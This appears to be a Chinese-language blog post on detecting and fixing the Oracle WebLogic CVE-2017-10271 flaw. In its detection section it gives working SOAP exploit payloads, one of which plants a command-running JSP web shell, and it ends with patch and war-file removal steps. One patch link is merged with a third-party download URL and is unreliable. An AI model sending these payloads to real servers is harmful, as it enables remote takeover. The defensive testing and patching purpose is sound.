1、檢測工具

https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271

2、http請求模擬工具

Fiddler

3、檢測方法

ontent-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
 

這段程式碼是通過http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11介面在服務裡寫入jsp指令碼，這裡是test.jsp，jsp的訪問路徑是http://127.0.0.1:7001/bea_wls_internal/test.jsp?password=secfree&command=whoami，結果如下

------------------------------------------------------------------------------------------------------

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
 

這段程式碼是通過http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11介面在服務裡的計算器，結果如下

---------------------------------------------------------------------------------------------------

4、解決辦法

升級Oracle2017年10月份補丁和2018年4月的補丁。

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.htmlhttps://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

2.對訪問wls-wsat的資源進行訪問控制。

3.臨時解決方案

在不影響業務前提下，根據實際環境路徑，刪除WebLogic程式下列war包及目錄。
       

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

        重啟WebLogic服務或系統後，確認以下連結訪問是否為404：

        http://ip:port/wls-wsat/CoordinatorPortType11

5、2018年4月新漏洞

需要更新2018年4月的補丁時需要注意將bsu.cmd的虛擬機器最大記憶體設定成3072

安裝新的補丁，請使用綠盟雲https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12測試